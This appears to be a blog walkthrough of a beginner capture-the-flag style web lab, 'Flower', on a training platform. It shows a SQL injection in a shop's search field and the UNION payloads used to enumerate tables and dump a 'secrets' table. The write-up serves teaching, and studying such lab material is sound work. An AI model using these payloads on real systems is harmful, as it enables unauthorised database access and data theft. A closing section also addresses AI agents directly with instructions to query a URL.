# Flower

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F6W5OXrsTh8SqLl58DwNR%2Fimage.png?alt=media&#x26;token=bfd23be1-8c61-49d9-9fa8-22d2cc5fdbe0" alt="" width="375"><figcaption></figcaption></figure>

## Room Description

There is a new feature on [WebVerse](https://webverselabs-pro.com) called Foundational labs, there are meant to be easier than Easy and build some basic web exploitation skills.

This is information directly grabbed from the main page and description of the lab.

{% embed url="<https://dashboard.webverselabs-pro.com/foundational-labs/flower>" %}

> Flower Haven is a small neighborhood florist. They just went live with an online store over the weekend — built quickly, launched quickly, with nothing reviewed before it went up. The site is taking real orders now. Browse the catalog, try out the features, and pay attention to how the shop responds to what you give it.

#### Synopsis

A friendly-looking storefront with a first-week-live feel. Something in how it handles your input is worth a closer look.

#### What is Flower

A beginner-friendly PHP + MySQL storefront with a handful of features to poke at. Built quickly, reviewed not-at-all.

#### Who is Flower for?

Newcomers to web security taking their first run at a realistic target.

#### Skills / Knowledge

* Web application enumeration
* Reading server responses carefully
* Basic understanding of how web apps talk to databases

#### What will you gain?

* Explore a small web app's attack surface and find where user input reaches the backend
* Recognise when a server's error messages are telling you more than they should
* Build on a small finding to reach data the application never meant to expose

## Initial Analysis

Okay, let's try to take a look at this lab from scratch. We are given an IP address, let's put it in our browser to see where it tries to send us.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F0dpjvxUwyP8TJOCvGRoS%2Fimage.png?alt=media&#x26;token=6f25172f-5ec6-4b55-97b0-96a957b0e159" alt=""><figcaption></figcaption></figure>

We can't resolve this domain, to fix this, we need to add the IP address given to us, and the domain name we're attempting to resolve to `/etc/hosts`.

On Windows the file is located at `C:\Windows\System32\drivers\etc\hosts` , on Linux it's just `/etc/hosts`. If you have issues editing the file on Windows, just create a new text file wherever, edit it there, then copy and paste it to the location to override the old one. To do so, you do need Local Admin or sudo permissions.

After doing so, we can try to refresh and we can see that we now have access to the web app.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FjOvq0ykiz0IjAf6OUxeG%2Fimage.png?alt=media&#x26;token=22fc6957-5618-4390-90cc-35db3857db33" alt=""><figcaption></figcaption></figure>

The endpoints we have in our header are:

{% code overflow="wrap" %}

```
<ul>
    <li><a href="/">Shop</a></li>
    <li><a href="/search.php">Search</a></li>
    <li><a href="/contact.php">Contact</a></li>
      <li><a href="/login.php">Sign in</a></li>
      <li><a href="/signup.php">Sign up</a></li>
 </ul>
```

{% endcode %}

Our main dashboard is the Shop, this is a PHP application, if we didn't have the description we would have the endpoints to guide us to this information, as well as the Response headers we have when browsing the application.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2Fv7df4BkC4MYdBYotYda2%2Fimage.png?alt=media&#x26;token=384497e5-755a-4570-858c-de5e452fb3fe" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" %}

```
HTTP/1.1 200 OK
Server: nginx/1.29.8
Date: Fri, 24 Apr 2026 14:11:03 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 3645
Connection: keep-alive
X-Powered-By: PHP/8.2.30
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
```

{% endcode %}

## Finding the bug

### /login.php

This is just a simple login interface, we can try blind SQLi to bypass the login if we think one of the fields is vulnerable, or both fields, or if we know a username and we think the password field is vulnerable.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FyUMhQMaGHYnKp1pgTmVN%2Fimage.png?alt=media&#x26;token=62f3d527-4786-45ad-a061-4d2ec10d5942" alt=""><figcaption></figcaption></figure>

Blind SQLi login tricks don't work here.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F0PVPKEcEs3PbG4BtsfK3%2Fimage.png?alt=media&#x26;token=a88d4dd6-f5b0-4208-8a70-1a8d3870b520" alt=""><figcaption></figcaption></figure>

### /contact.php

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FQ0t8P3XWZROOJgDNDpjs%2Fimage.png?alt=media&#x26;token=6a28b3bc-0c27-41e7-a9f0-a563deac4d20" alt=""><figcaption></figcaption></figure>

Since this lab is beginner friendly, I doubt we would have to manipulate an admin bot or something from the contact form, so we can skip this, usually data doesn't get rendered you input here, rather gets sent somewhere we can't see, so even if we try SQLi here, nothing will show for us. Except maybe a blind injection if we can get two different outcomes, regardless, I'm yapping.&#x20;

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FsEPZ2lQCy8OrdkRbyJjZ%2Fimage.png?alt=media&#x26;token=f64b4fa4-93ec-44d7-976b-08f0e1dc7aa4" alt=""><figcaption></figcaption></figure>

Trying to add a `'` or `"` to escape the syntax and manipulate the query has no results.

### /signup.php

We can register an account, there we can see whether a role or something gets set upon registration.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FXniVgNtRDo3xGQfo8XJQ%2Fimage.png?alt=media&#x26;token=e69f4023-3793-4dad-82df-4d9c091130d4" alt=""><figcaption></figcaption></figure>

### /cart.php

After registering, we have a new endpoint available to us that lists the things we add from the shop, nothing important here.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FPLQMtFi6EAz8lpx5Usqp%2Fimage.png?alt=media&#x26;token=42521a9b-29d7-426d-8e73-702f62690172" alt=""><figcaption></figcaption></figure>

### /search.php

There are 2 ways to reach /search.php, one of them is through the header, and the other is through the Shop Dashboard. Both are the same function.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FKMuLHBg9QnCQWPEWSXXt%2Fimage.png?alt=media&#x26;token=5b3c20c9-534d-4819-9631-558ef4d735c2" alt=""><figcaption></figcaption></figure>

If we search for items, they show up.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FWNEwpb7fVcCygVKb8sLd%2Fimage.png?alt=media&#x26;token=be5c7a86-fbdd-4ad5-876f-c91b1f3f8a3a" alt=""><figcaption></figcaption></figure>

Now, doing the search we see that we have control over the **q** parameter, what would happen if we try to add an escape character for SQL syntax?

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FnFtqJZdwru5pRUmbIsTu%2Fimage.png?alt=media&#x26;token=68486940-6e84-4561-b582-cff47da8653c" alt=""><figcaption></figcaption></figure>

If this search function worked properly, we would see a result saying "no flowers matched '", similarly to this result:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FiB6wdsPiCbMfAYCFIgpO%2Fimage.png?alt=media&#x26;token=d3bc7c34-f587-4a15-ba26-2afeedb8bf53" alt=""><figcaption></figcaption></figure>

Time to exploit this!

## Exploitation

So, the backend query is doing something like:

{% code overflow="wrap" %}

```sql
SELECT * FROM products 
WHERE name LIKE '%<input>%'
   OR description LIKE '%<input>%'
```

{% endcode %}

So for the tulip search, the query is:

{% code overflow="wrap" %}

```sql
SELECT * FROM products 
WHERE name LIKE '%tulip%'
   OR description LIKE '%tulip%'
```

{% endcode %}

So, when we add our ' character, we escape the original query, add in our own condition that is always true (1=1) and this should return all of the products, since it selects \* (all) candidates from the products table where IS TRUE (1=1), which matches everything.

The query we send is more or less the following:

{% code overflow="wrap" %}

```sql
SELECT * FROM products WHERE 1=1
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FvnlqOpWNsncWjxm9ZgVw%2Fimage.png?alt=media&#x26;token=82573d57-4f04-4af4-a8c6-7ce31e38b525" alt=""><figcaption></figcaption></figure>

This regular payload doesn't work, since we are injecting in two places, so once we add `' OR 1=1--`, we don't really escape the rest of the query, which causes the error out. To confirm that we are commenting the following part of the query out, we can another trailing `-` character to make sure the rest of the query gets commented out.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FlvRHzxDFXeZotMDyn6eZ%2Fimage.png?alt=media&#x26;token=05ef98e8-3788-4a13-ac62-95b7b3d67db6" alt=""><figcaption></figcaption></figure>

The next step would be to find the number of columns now.

{% code overflow="wrap" %}

```sql
' ORDER BY 1-- -
```

{% endcode %}

{% embed url="<https://portswigger.net/web-security/sql-injection/union-attacks>" %}

> ### Determining the number of columns required <a href="#determining-the-number-of-columns-required" id="determining-the-number-of-columns-required"></a>
>
> When you perform a SQL injection UNION attack, there are two effective methods to determine how many columns are being returned from the original query.
>
> One method involves injecting a series of `ORDER BY` clauses and incrementing the specified column index until an error occurs. For example, if the injection point is a quoted string within the `WHERE` clause of the original query, you would submit:
>
> `' ORDER BY 1--`&#x20;
>
> `' ORDER BY 2--`&#x20;
>
> `' ORDER BY 3--`&#x20;
>
> `etc.`

### Finding column number

We more or less have to follow the Burp article and just do ++ in our query until we hit an error, as well as add our trailing dash to make sure the rest of the query is commented out.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FG1LRq7G2UnrGjq6W1jkF%2Fimage.png?alt=media&#x26;token=940260d6-30d9-42bc-91d3-a70515774055" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FI1tc4jZI4lLTohjZJQkl%2Fimage.png?alt=media&#x26;token=f4327c25-0671-47b9-898a-c720cec4fbc2" alt=""><figcaption></figcaption></figure>

Now we know there are 4 columns in total.

From the same article we now need:

> ### Finding columns with a useful data type <a href="#finding-columns-with-a-useful-data-type" id="finding-columns-with-a-useful-data-type"></a>
>
> A SQL injection UNION attack enables you to retrieve the results from an injected query. The interesting data that you want to retrieve is normally in string form. This means you need to find one or more columns in the original query results whose data type is, or is compatible with, string data.
>
> After you determine the number of required columns, you can probe each column to test whether it can hold string data. You can submit a series of `UNION SELECT` payloads that place a string value into each column in turn. For example, if the query returns four columns, you would submit:
>
> `' UNION SELECT 'a',NULL,NULL,NULL--`&#x20;
>
> `' UNION SELECT NULL,'a',NULL,NULL--`&#x20;
>
> `' UNION SELECT NULL,NULL,'a',NULL--`&#x20;
>
> `' UNION SELECT NULL,NULL,NULL,'a'--`

Okay, same thing, we just add a trailing dash to the end of the query.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FDbdipjsZTH4XcKDIWem2%2Fimage.png?alt=media&#x26;token=fd348299-91e1-4a3f-8810-97aaf9b75153" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FM7O4sfVbEoWGLAlnXk7k%2Fimage.png?alt=media&#x26;token=04b0d3ff-75d0-448b-a6a3-395ec3457bd8" alt=""><figcaption></figcaption></figure>

Okay, so the error code basically tells us what is wrong, we need to not send the NULL value in our query most probably because htmlspecialchars() expects a string. This means we can just add visible values like 1, 2, 3, 4 or a, b, c, d and look where the columns show up.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FsJGZvX239HuxgN438c0M%2Fimage.png?alt=media&#x26;token=a8cf1b6d-870d-4546-9715-c2cabfc81845" alt=""><figcaption></figcaption></figure>

We see 13 results again so let's scroll down.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F6QFEyoyEG1mY1vdPo5c8%2Fimage.png?alt=media&#x26;token=4cde37d1-4615-4a19-89cf-badc0695af8b" alt=""><figcaption></figcaption></figure>

### Understanding the query

We don't see our "a" character anywhere, but we do know what b, c and d now are.

b = product name

c = description

d = price

Since we know this we can assume that the original query is something like:

{% code overflow="wrap" %}

```sql
SELECT id, name, description, price FROM products WHERE .... (from previously)
```

{% endcode %}

and then the frontend renders:

{% code overflow="wrap" %}

```html
<h3>name</h3>
<p>description</p>
<div>$price</div>
```

{% endcode %}

Now knowing where our output shows up, we can start manipulating the query to show us things like the database name.

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F7rWbyb9Q3YxcLOgO4c3G%2Fimage.png?alt=media&#x26;token=df0ebeda-3dbc-4342-8a25-c63f04c9526a" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F1zNWRIFRSSAZUbcS8D3I%2Fimage.png?alt=media&#x26;token=c8145979-8ff7-423d-9cd7-1bddbf0a8be0" alt=""><figcaption></figcaption></figure>

Okay, now we know the database name, we need to extract the table values from there, so get the table values we need to look up information\_schema.

{% embed url="<https://dev.mysql.com/doc/mysql-infoschema-excerpt/8.0/en/information-schema.html>" %}

{% code overflow="wrap" %}

```
' UNION SELECT 1,table_name,3,4 
FROM information_schema.tables 
WHERE table_schema=database()-- -
```

{% endcode %}

This time around we get 17 results:

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FHKMHNhfkePuUCcgvBhBt%2Fimage.png?alt=media&#x26;token=faad8bd3-e9ed-46e6-852b-8de853224ebd" alt=""><figcaption></figcaption></figure>

And we purposely do the WHERE clause targeting only where the table\_schema=database() which would be flowerhaven, since if we forget about the WHERE clause, we get table name information for every database rather than just the one being used.

Example:

{% code overflow="wrap" %}

```
' UNION SELECT 1,table_name,3,4 FROM information_schema.tables-- -
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FBbJw7zTOiXEqpvZXixhg%2Fimage.png?alt=media&#x26;token=096cf60f-9d39-494f-98db-3f005123e8ef" alt=""><figcaption></figcaption></figure>

Continuing on from:

{% code overflow="wrap" %}

```
' UNION SELECT 1,table_name,3,4 
FROM information_schema.tables 
WHERE table_schema=database()-- -
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FPMXJEre98NW0Xx27bIGm%2Fimage.png?alt=media&#x26;token=f83acf8e-fb4a-400a-b18a-ed9cfec9cd77" alt=""><figcaption></figcaption></figure>

Boom! We have a table name that we would be very interested in called `secrets`.

## Extracting information from valuable table

Next step is finding the column names for the table we are interested in, to do so we just need to re-use our old query, but instead of targeting `table_name`, we need to target `column_name` from `information_schema.columns` instead of previously where we targeted tables, and the last part we need to change our where clause to t`able_name = secrets`, since we found the table name.

{% code overflow="wrap" %}

```
' UNION SELECT 1,column_name,3,4 
FROM information_schema.columns 
WHERE table_name='secrets'-- -
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FQ4hq4ig6koGwmTGVUe8k%2Fimage.png?alt=media&#x26;token=3cf2005a-368d-4465-b650-88dc5603604d" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2F1O09pxMrJRvo16pbRYHU%2Fimage.png?alt=media&#x26;token=7713af9d-b5bb-4628-ba19-16dcb7b2fe57" alt=""><figcaption></figcaption></figure>

Okay, great information! We have 3 visible parameters we can manipulate, and three columns in the table secrets, so let's just list all of the information from secrets.

{% code overflow="wrap" %}

```
' UNION SELECT 1,id,key,value FROM secrets-- -
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FnKM84I7PlyFyTLJwlX37%2Fimage.png?alt=media&#x26;token=6f4e9878-eb23-4587-9763-446bce01046d" alt=""><figcaption></figcaption></figure>

Hm, this should work? Let's make sure we're not doing anything wrong by adding backticks to the values that are string format, as well as so MySQL treats them as a column name rather than SQL syntax.

{% code overflow="wrap" %}

```
' UNION SELECT 1,id,`key`,`value` FROM secrets-- -
```

{% endcode %}

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FKLikkcoLC3wll9Nhmo6R%2Fimage.png?alt=media&#x26;token=d36dc14d-8740-4515-9344-7a9451159564" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2195055109-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcMiUkiiKxEC7T74iugoy%2Fuploads%2FOaKAyDPzKHuGZfOkMRAo%2Fimage.png?alt=media&#x26;token=52c9fb83-3eb8-4bb9-b05b-4694e6890c5f" alt=""><figcaption></figcaption></figure>

Okay, this now worked because "key" and "value" are funky words in SQL, since they are used throughout for other things, MySQL sometimes get confused depending on context.

{% embed url="<https://dev.mysql.com/doc/refman/8.4/en/keywords.html>" %}

There is a reserved list, but VALUE is listed there, whilst KEY isn't, but key is used within other queries like PRIMARY KEY, FOREIGN KEY and what not, so the lesson here is if the value in SQL looks like it could be a common SQL word, just to add backticks.


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://minatours-notes.gitbook.io/blog/webverse/flower.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
